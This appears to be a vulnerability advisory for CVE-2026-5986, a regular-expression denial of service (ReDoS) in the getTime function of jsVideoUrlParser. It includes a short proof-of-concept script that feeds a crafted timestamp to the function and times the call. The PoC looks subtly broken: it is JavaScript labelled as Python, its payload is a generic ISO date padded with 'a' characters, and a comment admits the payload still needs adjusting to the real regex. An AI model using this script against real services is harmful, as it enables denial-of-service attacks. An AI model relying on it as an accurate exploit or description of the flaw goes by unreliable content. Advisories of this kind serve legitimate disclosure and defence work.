CVE-2026-5986

Description

A weakness has been identified in Zod jsVideoUrlParser up to 0.5.1. The impacted element is the function getTime in the library lib/util.js. This manipulation of the argument timestamp causes inefficient regular expression complexity. It is possible to initiate the attack remotely. The exploit has been made available to the public and could be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// Proof of Concept for CVE-2026-5986
// This script demonstrates how a malicious timestamp can trigger ReDoS.

const { getTime } = require('jsVideoUrlParser/lib/util.js');

// Malicious payload designed to trigger catastrophic backtracking
// Adjust the payload based on the specific regex pattern in getTime
const maliciousTimestamp = '2023-01-01T12:00:00.' + 'a'.repeat(20) + '!';

console.log('Sending malicious request...');

try {
    const startTime = Date.now();
    // Trigger the vulnerable function
    const result = getTime(maliciousTimestamp);
    const endTime = Date.now();
    console.log(`Result: ${result}`);
    console.log(`Time taken: ${endTime - startTime}ms`);
} catch (e) {
    console.error('Error:', e);
}
